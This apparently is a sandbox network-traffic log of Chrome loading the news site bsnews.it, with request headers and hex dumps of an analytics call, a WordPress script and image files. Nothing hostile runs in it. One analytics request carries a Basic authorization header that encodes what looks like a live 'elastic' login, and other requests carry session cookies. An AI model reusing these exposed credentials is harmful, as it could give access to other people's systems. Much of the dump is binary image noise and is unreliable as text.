Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	666	OUT	POST /v1/trk/adv HTTP/1.1 Host: audience.codesour.tech Connection: keep-alive Content-Length: 791 Cache-Control: max-age=0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Content-Type: application/json sec-ch-ua-mobile: ?0 Authorization: Basic ZWxhc3RpYzpoaDRmbU9TMEFiMjRlRUZEU3pqZWxRcHY= User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://bsnews.it Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:11 UTC	791	OUT	Data Raw: 7b 22 69 64 53 69 74 65 22 3a 22 36 31 33 37 31 63 34 33 64 31 65 64 64 30 32 38 34 63 33 65 36 62 64 38 22 2c 22 69 64 50 6c 61 6e 6e 69 6e 67 22 3a 22 36 30 39 64 35 64 38 37 65 38 34 39 31 39 31 65 37 33 32 61 39 33 35 62 22 2c 22 75 49 64 22 3a 33 38 34 38 35 36 39 37 33 30 2c 22 6e 61 6d 65 22 3a 22 70 61 67 65 64 69 73 70 6c 61 79 22 2c 22 74 79 70 65 22 3a 22 70 61 67 65 56 69 65 77 22 2c 22 64 61 74 61 22 3a 7b 22 74 79 70 65 22 3a 22 70 61 67 65 2d 76 69 65 77 22 2c 22 76 61 6c 75 65 22 3a 22 50 61 67 65 20 56 69 65 77 22 2c 22 74 69 6d 65 22 3a 30 2c 22 63 6f 6d 70 6c 65 74 69 6f 6e 22 3a 30 2c 22 6f 72 69 67 69 6e 22 3a 22 68 74 74 70 73 3a 2f 2f 62 73 6e 65 77 73 2e 69 74 22 2c 22 74 69 6d 65 73 74 61 6d 70 22 3a 31 37 31 31 36 31 35 38 36 39 Data Ascii: {"idSite":"61371c43d1edd0284c3e6bd8","idPlanning":"609d5d87e849191e732a935b","uId":3848569730,"name":"pagedisplay","type":"pageView","data":{"type":"page-view","value":"Page View","time":0,"completion":0,"origin":"https://bsnews.it","timestamp":1711615869
2024-03-28 08:51:11 UTC	330	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:11 GMT Vary: Origin Vary: Access-Control-Request-Method Vary: Access-Control-Request-Headers Access-Control-Allow-Origin: * Content-Type: application/json Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close Transfer-Encoding: chunked
2024-03-28 08:51:11 UTC	12	IN	Data Raw: 32 0d 0a 7b 7d 0d 0a 30 0d 0a 0d 0a Data Ascii: 2{}0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
158	192.168.2.4	49914	192.0.77.32	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	554	OUT	GET /wp-content/js/rlt-proxy.js?m=20211122 HTTP/1.1 Host: s0.wp.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://public-api.wordpress.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	480	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: application/javascript Content-Length: 3345 Connection: close Vary: Accept-Encoding x-minify: t x-minify-cache: hit etag: W/7325-1684464996769.1526 Expires: Thu, 30 May 2024 14:44:33 GMT Cache-Control: max-age=31536000 X-ac: 4.dca _dca MISS Access-Control-Allow-Methods: GET, HEAD Access-Control-Allow-Origin: * Timing-Allow-Origin: * Alt-Svc: h3=":443"; ma=86400 X-nc: HIT dca 2
2024-03-28 08:51:12 UTC	889	IN	Data Raw: 28 66 75 6e 63 74 69 6f 6e 28 29 7b 76 61 72 20 65 3b 76 61 72 20 74 3b 76 61 72 20 6e 3b 76 61 72 20 6f 3d 5b 5d 3b 76 61 72 20 72 3d 66 61 6c 73 65 3b 76 61 72 20 69 3d 22 6a 65 74 70 61 63 6b 3a 77 70 63 6f 6d 52 4c 54 22 3b 66 75 6e 63 74 69 6f 6e 20 61 28 65 29 7b 76 61 72 20 74 3d 64 6f 63 75 6d 65 6e 74 2e 63 72 65 61 74 65 45 6c 65 6d 65 6e 74 28 22 61 22 29 3b 74 2e 68 72 65 66 3d 65 3b 72 65 74 75 72 6e 20 74 2e 6f 72 69 67 69 6e 7d 66 75 6e 63 74 69 6f 6e 20 63 28 74 29 7b 69 66 28 21 65 29 7b 72 65 74 75 72 6e 7d 72 6c 74 49 6e 6a 65 63 74 54 6f 6b 65 6e 28 65 2c 74 2e 74 61 72 67 65 74 2e 63 6f 6e 74 65 6e 74 57 69 6e 64 6f 77 2c 61 28 74 2e 74 61 72 67 65 74 2e 73 72 63 29 29 7d 66 75 6e 63 74 69 6f 6e 20 64 28 29 7b 76 61 72 20 65 3d 64 6f Data Ascii: (function(){var e;var t;var n;var o=[];var r=false;var i="jetpack:wpcomRLT";function a(e){var t=document.createElement("a");t.href=e;return t.origin}function c(t){if(!e){return}rltInjectToken(e,t.target.contentWindow,a(t.target.src))}function d(){var e=do
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 2c 74 6f 6b 65 6e 3a 65 2c 73 6f 75 72 63 65 4f 72 69 67 69 6e 3a 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 6f 72 69 67 69 6e 7d 7d 29 2c 6e 29 7d 63 61 74 63 68 28 65 29 7b 72 65 74 75 72 6e 7d 7d 7d 77 69 6e 64 6f 77 2e 72 6c 74 49 6e 76 61 6c 69 64 61 74 65 54 6f 6b 65 6e 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 6f 29 7b 69 66 28 6e 3d 3d 3d 65 29 7b 65 3d 6e 75 6c 6c 7d 74 72 79 7b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 3d 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7b 69 66 28 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 69 29 3d 3d 3d 6e 29 7b 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e Data Ascii: ,token:e,sourceOrigin:window.location.origin}}),n)}catch(e){return}}}window.rltInvalidateToken=function(n,o){if(n===e){e=null}try{if(window.location===window.parent.location&&window.localStorage){if(window.localStorage.getItem(i)===n){window.localStorage.
2024-03-28 08:51:12 UTC	1087	IN	Data Raw: 72 65 6e 74 4f 72 69 67 69 6e 3b 74 72 79 7b 69 66 28 21 65 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 3d 3d 3d 77 69 6e 64 6f 77 2e 70 61 72 65 6e 74 2e 6c 6f 63 61 74 69 6f 6e 26 26 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 29 7b 65 3d 77 69 6e 64 6f 77 2e 6c 6f 63 61 6c 53 74 6f 72 61 67 65 2e 67 65 74 49 74 65 6d 28 69 29 7d 7d 63 61 74 63 68 28 65 29 7b 63 6f 6e 73 6f 6c 65 2e 69 6e 66 6f 28 22 6c 6f 63 61 6c 73 74 6f 72 61 67 65 20 61 63 63 65 73 73 20 64 65 6e 69 65 64 20 2d 20 70 72 6f 62 61 62 6c 79 20 62 6c 6f 63 6b 65 64 20 74 68 69 72 64 2d 70 61 72 74 79 20 61 63 63 65 73 73 22 2c 77 69 6e 64 6f 77 2e 6c 6f 63 61 74 69 6f 6e 2e 68 72 65 66 29 7d 77 69 6e 64 6f 77 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 22 Data Ascii: rentOrigin;try{if(!e&&window.location===window.parent.location&&window.localStorage){e=window.localStorage.getItem(i)}}catch(e){console.info("localstorage access denied - probably blocked third-party access",window.location.href)}window.addEventListener("

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
159	192.168.2.4	49915	192.0.77.2	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:11 UTC	407	OUT	GET /bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png?resize=324%2C160&ssl=1 HTTP/1.1 Host: i0.wp.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-03-28 08:51:12 UTC	591	IN	HTTP/1.1 200 OK Server: nginx Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/png Content-Length: 35091 Connection: close Last-Modified: Thu, 28 Mar 2024 08:51:12 GMT Expires: Sat, 28 Mar 2026 20:51:12 GMT Cache-Control: public, max-age=63115200 Link: <https://bsnews.it/wp-content/uploads/2021/11/bsnews-1-1.png>; rel="canonical" X-Content-Type-Options: nosniff ETag: "72ed8312e0dcd505" X-Bytes-Saved: 51380 Vary: Accept X-nc: MISS dca 7 Alt-Svc: h3=":443"; ma=86400 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, HEAD Timing-Allow-Origin: *
2024-03-28 08:51:12 UTC	778	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 01 44 00 00 00 a0 08 03 00 00 00 43 96 e5 d4 00 00 03 00 50 4c 54 45 ff ff ff 33 32 32 48 45 44 e1 f6 ff 2f 2e 2e 31 30 30 4a 47 46 e3 f7 ff 3e 3d 3e 2c 2c 2b 3f 3c 3b 44 41 3f 34 33 34 41 3e 3c 42 41 42 3b 3a 3b 38 37 38 42 3f 3e 44 43 44 29 29 28 4c 49 49 38 36 35 46 45 46 50 4d 4d 3a 39 3a 36 36 37 25 25 24 36 35 35 40 3f 40 45 42 41 de f4 ff 49 48 4a 3c 3c 3d 54 51 51 47 44 42 5f 5e 63 e3 f6 fe 3d 3a 39 4e 4b 4a 48 46 47 52 4f 4e ed f1 f0 22 22 21 62 61 65 57 54 54 65 64 69 d5 a3 90 40 40 41 5c 5b 5f ed f4 f4 1f 1f 1e 4c 4b 4d 69 69 6e 59 58 5c 5b 58 58 6d 6c 71 51 50 53 56 56 59 e6 f6 fe 54 53 56 0d 0d 0c 4e 4d 50 78 76 7a 82 81 83 1c 1c 1b 14 14 13 67 66 6b 18 18 17 f7 cc c0 73 73 79 f9 d6 cd fa Data Ascii: PNGIHDRDCPLTE322HED/..100JGF>=>,,+?<;DA?434A><BAB;:;878B?>DCD))(LII865FEFPMM:9:667%%$655@?@EBAIHJ<<=TQQGDB_^c=:9NKJHFGRON""!baeWTTedi@@A\[_LKMiinYX\[XXmlqQPSVVYTSVNMPxvzgfkssy
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: bf ca 67 5b 94 9c a5 57 48 44 aa 9e 97 c1 b0 a8 9b 89 81 8d 3e 34 70 34 2b 55 23 1c 3f 4d 5d b7 80 0e 44 00 00 85 ce 49 44 41 54 78 da 74 bd 09 58 d4 f7 b9 36 0c 53 99 8e 33 cc 9a 61 66 08 33 99 85 cc 92 c3 b0 5c 1d 1c e0 70 c1 f4 e5 05 65 55 30 ad b2 ce b0 49 10 fc 90 22 8b fa d6 a5 2a 72 b1 a8 68 e0 6a 34 11 11 62 8c 6f 20 04 53 b4 e5 f8 89 49 35 56 30 d1 9e 9a bc 58 b9 a0 47 3d b1 6e d1 e8 a9 c7 25 ed fb dd cf ef 3f 83 98 f4 fb b1 93 5e 15 6e 9e e7 f7 dc cf fd 2c 7f bf 2f ff 6b ce f9 f4 cf 7f fe ec b3 d2 b7 0e fc fe cb df 7c f9 fb dd ae d2 05 82 79 2f b3 33 4f 62 b7 f7 be bf 6b d7 fb ef bf ff 87 3f fc e1 f0 1f 0e 2f 59 b2 e4 f3 2f 8e f5 65 f6 a4 47 44 44 ac db b7 6a 55 ed bb 38 9b 36 6d 7a f7 dd 5a 9c 0f 6b f7 2f 5f be 6a d5 f2 0f 2f bd f7 f5 37 df 7c Data Ascii: g[WHD>4p4+U#?M]DIDATxtX6S3af3\peU0I"*rhj4bo SI5V0XG=n%?^n,/k\|y/3Obk?/Y/eGDDjU86mzZk/_j/7\|
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 6f e1 cb 4d 46 b5 e7 b7 87 3e fa e8 a3 b7 6f d6 c3 8b 3a 3a 3a da 7e 09 5f 06 7e f0 e7 bf fc a5 b3 b7 ad 84 37 32 3e 73 ce 2d 0a 08 08 32 29 ed a3 e7 a6 ce 4d 8e 8e 4e 4e 3d 3b b3 fe fc fa e6 e6 33 1f 3e bc f0 dd 77 7f 9f 3d ff f8 c7 3f fe 4e 3f c3 f4 37 f7 af 7d 75 fd fa 9d 3b 4f ef de b8 7a 6f d7 6b 0c 47 3f 3f c2 f1 b5 8b 59 9e ac e2 a2 ec c2 bc c1 96 b6 a2 ec 22 d8 60 db 60 67 5b 47 11 ee 46 60 37 d4 3f 04 48 71 1d c1 14 8a c3 a2 fc fe af f7 7c f6 67 66 88 29 9c 21 fe fe 63 57 ee 82 48 99 40 69 34 da 8d 46 e7 68 0e 5d c1 5e 57 3e bc 12 96 f8 39 2c f1 18 79 33 40 ec e6 50 5c 55 4b 2e 7d 69 33 ce c3 f7 70 b6 5d 82 6f 7f 52 5b 4b b1 66 1d 7e 95 3b d7 af dd ff fa 1b 60 f8 f5 b5 e9 c7 62 b9 3d 6c a4 b0 6d e8 e9 8c 3d 28 f0 d9 9d cf 6f 8c 8e 9a 46 9f 3d bb Data Ascii: oMF>o:::~_~72>s-2)MNN=;3>w=?N?7}u;OzokG??Y"``g[GF`7?Hq\|gf)!cWH@i4Fh]^W>9,y3@P\UK.}i3p]oR[Kf~;`b=lm=(oF=
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 86 15 92 01 46 50 4a 90 0e fc 8e ed dd b0 7d fb 92 e4 e1 e1 e1 45 0b 17 2e 04 bf 5e b4 b6 b2 a6 ac a6 a6 b2 aa a7 bc ee dd bf 7f 7b ff d9 ad fe a1 ab bb 7e b1 ab b7 a8 b8 b0 08 f7 60 47 27 de ea 3d d9 1d 83 60 64 bd 85 2d fd 2d d9 1d 1d a0 fb 20 e0 85 f8 8f 6d 1d 9d 30 4a bf 9f fc f4 27 3f 79 59 b3 e0 b3 39 f4 06 86 58 ba 40 62 b0 b8 47 27 26 f0 3a 32 38 97 dc 70 28 7a 83 f3 ea d5 04 e2 fa 88 b4 e5 5c 58 61 20 7a 21 a4 b7 0b 0f de 7b 0f 18 9e b9 e3 f5 e6 6b 04 e2 b4 4a 22 93 05 bc 14 28 7b 29 30 20 24 30 60 fe fc 80 20 50 51 85 49 64 12 09 55 b1 09 09 7a bd da a2 72 e8 d5 ce 99 b3 4f 28 02 0e dd c0 cd 73 e3 e9 b3 6f 2d f1 a3 4e a7 cd ac d3 c9 45 22 b3 c0 0c d8 82 f0 ae 40 1c 14 e4 5f 60 2e f0 2f 28 28 d0 4c 3c 1b 7f 72 0e 71 b9 f7 ea ad b3 e3 77 c0 ad d6 Data Ascii: FPJ}E.^{~`G'=`d-- m0J'?yY9X@bG'&:28p(z\Xa z!{kJ"({)0 $0` PQIdUzrO(so-NE"@_`./((L<rqw
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 87 21 cc 71 3a f2 f4 69 43 64 a4 41 e0 10 a8 64 52 60 18 19 9b e0 48 50 e9 d5 26 87 8d 6f b7 58 ad 2a 95 d2 68 85 0d 3a 54 3c 7c 03 98 59 2c 76 87 d5 18 16 6f b5 d8 01 a5 dd 69 c4 0d 09 27 77 da 6d 38 6a c4 25 be 50 24 16 52 c0 09 09 0a 11 df 39 df 1c d1 53 91 59 83 d3 4a 10 72 76 b8 72 e1 61 ce 9f 3f e2 4c d1 07 22 97 34 ff 61 6a a4 14 2e 5b 52 94 57 9c 47 5e 5c e8 c9 26 41 a7 a5 03 e2 0d ce 20 ac 71 b0 17 32 18 34 1d e4 81 bd 9d d0 00 a0 e4 0d f9 a9 e3 c2 e6 e6 2a bf ff 78 77 3e e5 2a b6 89 73 a0 9b 2e d7 e0 73 ed 66 c9 de be be d6 63 64 86 ab d9 6d 88 b3 9e 22 33 6c 91 b9 b2 37 34 5f e0 02 0a 10 65 20 c2 4e 97 af 22 77 fe 90 b3 44 42 71 3a 41 10 0a 43 d4 9f 06 d9 d6 6a 04 52 89 26 52 a2 50 28 1c 0e 47 ac c5 84 f0 02 df 55 5b 94 b0 26 b5 43 69 53 db f8 Data Ascii: !q:iCdAdR`HP&oXh:T<\|Y,voi'wm8j%P$R9SYJrvra?L"4aj.[RWG^\&A q24xw>*s.sfcdm"3l74_e N"wDBq:ACjR&RP(GU[&CiS
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 69 87 64 6c 71 80 03 59 70 5d 1a f9 70 75 8a e1 61 d7 ce 34 23 5f 3f 75 2a 93 38 b6 d7 95 87 61 87 2b 87 17 b2 ac 8f dc f9 07 20 d2 e7 bb ce 8e a3 3a 51 9a e3 ca 4f 2c 8d 71 bb 01 a6 d3 6d b7 00 51 23 94 55 ba 51 f4 7c 51 48 40 90 2c 24 50 6a b0 2a 14 aa 84 a8 b8 a8 e8 18 bf b7 e6 d4 55 3e de 7d a0 34 4a 11 f0 d2 3c 86 a1 7e 88 20 7c 67 e1 f0 f0 b2 b5 0d 95 60 0a 60 5c 48 54 7a 7a 38 9a 4d 85 95 cb 84 e0 05 a2 d5 a4 34 70 46 c8 08 37 81 c9 82 0a 15 fd 96 2f 3f 43 18 12 9c 67 08 c6 fd d7 bf fa d6 a1 3a ed 40 78 3e 1d 2c 8b 14 48 05 02 83 d4 df 1a 17 2b d1 2b 94 02 45 2c 4f 8f d4 05 0e ad d7 1b f9 6a 9e c8 a2 b4 28 f9 0a 0b 6c d0 c9 53 83 d6 e0 15 b7 1e d0 22 7a 83 60 63 43 48 56 db e2 61 9d c8 0b ed f8 65 8d a3 77 00 e2 fa 3d 88 ce 35 00 71 3b a9 77 30 02 Data Ascii: idlqYp]pua4#_?u8a+ :QO,qmQ#UQ\|QH@,$PjU>}4J<~ \|g``\HTzz8M4pF7/?Cg:@x>,H++E,Oj(lS"z`cCHVaew=5q;w0
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 70 63 b4 3d 6b 46 6d e5 03 98 e2 a9 f5 eb da 6b 5a 99 2b 53 c2 c7 ec 70 e5 c2 b9 a6 f8 83 3b 71 71 6f 61 49 3e f8 60 0e 4a 01 59 ae c4 92 22 54 fb b2 f2 b2 b2 90 ac f4 16 16 51 13 09 c4 58 b0 c3 b6 36 14 a5 51 07 2c c9 2b 04 d0 7e 9f a5 a4 b0 a8 82 c8 9c 4f 86 e8 0d cd 0b 58 a2 b2 70 61 f2 d6 9d 19 07 0f 6e 39 58 5e 5e 55 55 91 59 d5 d3 53 dd d8 bd 6f d3 37 ff 78 f9 bb 47 27 77 e0 ae 6c 68 68 cd ac ae bd b4 62 05 13 71 36 11 ed e6 d2 3d 60 88 50 b2 7c 1d ae 43 54 39 d2 22 1a a9 98 91 0e 8e 4e 28 9e b9 73 4d a3 88 04 0d 14 10 82 c8 f9 42 a4 0a ab 15 5f a8 14 6a 7d 82 55 67 35 5a f8 3c 1d c4 1b a5 c5 06 aa 6d b4 28 b5 b1 b8 f0 80 99 9d 6f 54 a2 00 03 0b a4 1b 11 24 5b ed c4 e5 a9 b4 d9 6d 10 1c 6d 56 93 ce 38 71 eb fc f9 53 a7 4e ac 3e 75 aa 7d fd ba f5 99 Data Ascii: pc=kFmkZ+Sp;qqoaI>`JY"TQX6Q,+~OXpan9X^^UUYSo7xG'wlhhbq6=`P\|CT9"N(sMB_j}Ug5Z<m(oT$[mmV8qSN>u}
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 49 a2 33 59 2c 22 a1 5c e2 26 0c 4f 40 78 87 dc 99 9e 5e b7 af 36 a2 a2 8f 2b 95 7a 51 84 41 ae 5c b8 f0 79 78 fe 21 88 a9 a9 23 a9 a5 28 16 2b 85 f6 d1 7c 57 a9 ab ad be a8 f7 e2 4d 4f de 60 fd 60 61 56 71 47 2f b5 7d a2 41 11 b6 49 12 0e b5 07 fa 79 e9 4d 4e 62 28 19 e2 1b 5e 10 cf 92 f0 b5 7d fb 86 ca b2 9a 0d 94 b7 27 6f 00 5a b8 4d e8 a7 80 10 d1 07 ef 45 4c 59 96 bc 0c 5c 3c 19 b6 da d0 50 b1 6a 33 97 34 33 10 bd aa 76 ed 2a 06 22 43 b1 a7 ba 7c 0b 6c 99 2e 45 c4 e7 eb a2 48 8d 56 21 95 9c d6 48 0d 81 1a 99 7f 70 08 6e c7 c0 02 98 1f 5f a1 d2 f1 82 0a b4 2a 91 49 cc b3 9a 54 28 f4 29 44 3a 81 0a 31 84 5a d4 10 89 41 12 55 46 08 b6 50 6e ad c8 07 79 3a 8b 52 05 f0 f9 26 54 fd a6 4e e0 46 64 b5 5c aa 39 a7 21 bf 4f af e8 3b 46 37 11 e7 cf 2b bd a4 db Data Ascii: I3Y,"\&O@x^6+zQA\yx!#(+\|WMO``aVqG/}AIyMNb(^}'oZMELY\<Pj343v"C\|l.EHV!Hpn_IT()D:1ZAUFPny:R&TNFd\9!O;F7+
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: 2b 7d e7 30 ab 11 78 33 bf 17 41 1c 2f 75 25 a6 42 7c 75 ce f3 7f 8c 29 86 68 c9 24 52 cb a8 c4 a4 d0 30 64 d2 c5 28 e6 67 65 93 28 41 83 19 2d c8 67 06 69 90 c0 ef 37 14 55 d0 04 36 cf ab c5 b2 e2 8a de 3d f2 f4 0b aa ec d1 1f 16 15 01 24 2d 95 5b 9b 9a 00 dd 30 67 8f 14 94 19 8a 4d 50 25 70 e1 00 c4 7d fb 20 81 42 ac 28 2b 2b a7 34 9a 60 bc 7c f9 32 07 62 17 9d 2d 5b ba b6 90 3d c2 a3 23 e0 ce 92 f9 b2 c0 60 8d ca 10 12 10 10 28 d5 ca 04 86 40 a9 4c ac 13 e0 c2 93 4b e4 3c 39 8f 57 20 e4 81 31 16 08 e5 26 6a b9 d1 eb 85 4a 6a 79 40 06 03 5a ad 96 53 72 ad e6 8b 89 da e8 c4 90 6d f9 68 74 e2 4d ad 66 20 a2 ed 01 6c 96 3a fe a8 69 12 85 b4 c6 9a d6 2f 58 7f ef 12 46 71 80 e2 1c 7f 7e 51 c6 39 3b 92 3a 91 98 92 9f 64 0f 79 49 6c b4 5b c2 f3 13 93 e2 63 c3 Data Ascii: +}0x3A/u%B\|u)h$R0d(ge(A-gi7U6=$-[0gMP%p} B(++4`\|2b-[=#`(@LK<9W 1&jJjy@ZSrmhtMf l:i/XFq~Q9;:dyIl[c
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: fe fa ed ef 0b b3 8b 77 3d 49 cd 2a cc 42 51 2a 35 37 c9 2e 34 07 cc 13 bb 73 12 27 4a 63 92 92 62 48 f2 46 ef 67 1e 15 08 30 e0 d7 d1 d2 32 08 9f 6e c9 2e f6 83 21 c6 1b 7c 32 a2 24 21 6a e2 1c 1b dc c2 20 c2 ad 5b 9f 7f f1 01 50 dc d3 7c e2 38 99 62 3a 53 04 f1 73 32 14 29 80 54 56 6e 20 0c 2b 06 ae 6c 3c 58 b6 95 24 1d c4 ed 65 04 e2 aa 59 43 f4 81 b8 91 dd 8b d5 74 2d 22 3a 0f ec 7f 2c 89 14 44 c2 10 e7 81 e3 c8 82 f1 31 40 16 a9 c5 c4 82 c9 84 7e 4d 91 58 6c 12 cb 41 6c 4c 42 91 5a 2e 16 23 ce 98 12 e4 70 64 13 5f 24 d7 c1 91 31 66 05 8d 02 6c 5c ce 97 17 04 81 54 a2 09 4a 78 1f 37 77 0d c5 15 60 b8 85 81 d8 5d b3 15 ca fc 9a 83 3b 36 9e bc 52 b9 b7 89 e4 14 52 54 48 7d 9a d5 b7 bf 17 9e 5f 9b 71 b9 72 40 15 f3 73 62 52 52 27 27 26 dd ee c4 c2 9c f0 Data Ascii: w=IBQ57.4s'JcbHFg02n.!\|2$!j [P\|8b:Ss2)TVn +l<X$eYCt-":,D1@~MXlAlLBZ.#pd_$1fl\TJx7w`];6RRTH}_qr@sbRR''&

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
160	192.168.2.4	49916	104.21.27.89	443	5996	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-03-28 08:51:12 UTC	728	OUT	GET /wp-content/uploads/2023/05/300x250_bsm.jpg HTTP/1.1 Host: bsnews.it Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: _ga_EQYZRK97F1=GS1.1.1711615862.1.0.1711615862.60.0.0; _gcl_au=1.1.1773882818.1711615867; _ga=GA1.2.30849489.1711615863; _gid=GA1.2.323934972.1711615869; _gat_gtag_UA_11020879_7=1; cf_clearance=t9gExq.VTCgxStpdlhTVwJUo6EadbupAw55Sro013BQ-1711615870-1.0.1.1-pV_vKXAJuAO9zgXoYY73izX8Nm6CZI3He7cZADEvrBUEtjfnXTap.xx4DthdIgWLxd_rEhXZwUqylrJKmFbRxA
2024-03-28 08:51:12 UTC	697	IN	HTTP/1.1 200 OK Date: Thu, 28 Mar 2024 08:51:12 GMT Content-Type: image/jpeg Content-Length: 32561 Connection: close last-modified: Mon, 29 May 2023 12:48:01 GMT etag: "64749f01-7f31" x-powered-by: PleskLin Cache-Control: max-age=14400 CF-Cache-Status: HIT Age: 2322 Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=a1Fb44kRkqpDhN0mv4mHm2hah34rSUVZVKSkMAPBJlvIAb7zzZVZSdqwdlqigpc%2FPD1vrX%2Fb9y8vHjUYVFsI3YS5DXR2digmPD6AEp0XMcTr2HS6S7fa36SO2Dw%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 86b6608128fb3926-IAD alt-svc: h3=":443"; ma=86400
2024-03-28 08:51:12 UTC	672	IN	Data Raw: ff d8 ff e0 00 10 4a 46 49 46 00 01 02 00 00 64 00 64 00 00 ff ec 00 11 44 75 63 6b 79 00 01 00 04 00 00 00 64 00 00 ff ee 00 26 41 64 6f 62 65 00 64 c0 00 00 00 01 03 00 15 04 03 06 0a 0d 00 00 16 47 00 00 44 0e 00 00 60 0e 00 00 7f 2f ff db 00 84 00 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 01 02 02 02 02 02 02 02 02 02 02 02 03 03 03 03 03 03 03 03 03 03 01 01 01 01 01 01 01 02 01 01 02 02 02 01 02 02 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 03 ff c2 00 11 08 00 fa 01 2c 03 01 11 00 02 11 01 03 11 01 ff c4 01 23 00 01 00 02 03 00 03 01 01 00 00 00 00 00 00 00 00 00 07 Data Ascii: JFIFddDuckyd&AdobedGD`/,#
2024-03-28 08:51:12 UTC	1369	IN	Data Raw: b6 f4 de 22 e9 13 e3 52 79 bb 8c 0f e8 4b b3 76 66 ce 72 dd 2b 10 c8 2b a7 41 b6 b7 56 c6 a6 6d 6b f4 db 4a 73 52 f1 e0 00 00 00 00 00 00 00 00 a8 6d 93 d3 8e 2e b4 a9 01 63 74 86 cb 59 1d 13 b3 74 35 d7 a7 1c d1 c6 02 2e 67 ef 6a 3b 56 2a f1 ac 4f ce 5d c4 d2 70 fc 84 59 7f e8 76 a2 4b 96 9e 0c 00 00 00 00 00 00 00 00 71 9d 9f 49 d4 0e cb 69 a8 16 51 45 ec ee 0a 8b 96 ab 6f 9d 78 02 e9 3e f6 b3 13 a4 3b f3 cd da fd 6c 81 66 ff 00 a2 da 7d 2a 59 78 60 00 00 00 00 00 00 00 0c 47 a3 c7 41 3b 8b f9 ed a1 4c 63 c0 5b 56 b5 ee 0f 15 55 78 04 39 c6 2f 13 f1 8d e1 de 5b a7 ad 3f 42 39 5b f3 bf 7d bf 38 0f de 56 dd fa 8f a3 99 c9 98 e0 00 00 00 00 00 00 00 15 ff 00 72 6b c5 5a ec 0e a8 00 3b 87 4d b6 67 cd 01 eb b0 df ab be 50 e7 20 88 38 c6 31 75 15 cb c8 5a 91 Data Ascii: 